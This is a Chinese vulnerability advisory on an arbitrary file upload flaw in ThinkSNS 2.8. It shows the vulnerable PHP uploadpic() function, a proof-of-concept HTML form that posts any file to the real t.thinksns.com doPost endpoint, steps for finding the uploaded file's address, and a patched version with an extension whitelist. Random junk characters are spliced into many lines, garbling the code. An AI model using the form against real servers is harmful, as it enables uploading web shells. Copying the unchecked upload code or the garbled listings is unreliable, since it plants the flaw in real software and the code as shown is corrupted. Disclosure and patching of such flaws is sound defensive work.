ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。

5 O4 X& \# Z% i
1 e0 l) B  s% p  k  K; m& W\api\StatusesApi.class.php
6 I) G- \" P/ X3 L4 f0 t# p5 e, g
! S" J' ?9 d. @% X+ p0 |, `1 S! qfunction uploadpic(){
/ v" t6 v/ i  R$ O- K      if( $_FILES['pic'] ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
7 s0 k/ a( v1 }     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
$ b) `9 ^1 A+ b2 l       {
        $result['boolen']    = 1;
+ [! N, o% J9 p5 K5 d. A2 b        $result['type_data'] = 'temp/'.$filename;
5 w3 E& V4 S8 G6 k% b        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
' k1 q; |) q, `       } else {
2 v/ Q" A2 u$ X        $result['boolen']    = 0;
2 v" \+ c  ~( D7 c        $result['message']   = '上传失败';
0 d' G+ N! c( J! A2 u! n       }
     }else{
6 `, X3 [, U* Z# r' h( d2 C/ F         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
! z1 }2 k- C9 b/ o) r& j    }
( j. ~9 n( f) iunloadpic()方法没有对文件类型进行验证
$ y8 u1 t& b/ E
可以构建表单, 选择任意文件, 提交到
; Z, z+ t  j: q: A( H0 W/index.php?app=w3g&mod=Index&act=doPost
1 |1 i* U- H3 U
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
  K1 ~) e6 H- y; D& p* w$ q
) [9 j0 W; |# _0 T5 X& u/ {% q
在登录thinksns官方微博后,
构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
* S) e6 Q6 Y: y) P% ]- \<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
; m7 ^) _2 B3 Q- x</form>
去掉缩略图的前缀(small_ )
​修复方案：


6 L1 r9 `3 o4 b# s2 l' P5 _; X; \1 z\api\StatusesApi.class.php
  x% ~; M$ l* i
4 T; K1 ^" K, \% h/ ffunction uploadpic(){
2 l% O4 `* h6 X% F% x" [     /**
7 B  \* J- g1 b, K( i3 J0 B! T      * 20121018 @yelo
      * 增加上传类型验证
      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
; U+ D2 c" e4 v0 T $allowExts = array('jpg', 'png', 'gif', 'jpeg');
' C- f+ Q. o: g; N
+ k0 q; N) ^+ @& ?     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
' T* e0 N5 Y& K8 k% V' O
2 n# s% U: G# e  u8 a: A     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
/ m( W# L$ E% y% \, l) J) W- L# E     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
. V3 j, k0 U9 a6 X9 P* u    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
# P( f, O, D9 m& G( y  c% T        $result['boolen']    = 1;
. P5 s1 s  E/ C0 p' G        $result['type_data'] = 'temp/'.$filename;
8 K7 L( N; J* z  c0 a1 t        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
7 g0 F) Q4 J# v6 J* W2 a$ b5 U* l7 \       } else {
: {2 |2 }, n& G( C3 l        $result['boolen']    = 0;
        $result['message']   = '上传失败';
6 ^' Q* I$ X% b! t6 B; d, Q1 [       }
     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
7 r' E7 T0 T& P' Z1 U    }
3 Q0 C9 n& q7 C7 }; v3 ]5 S​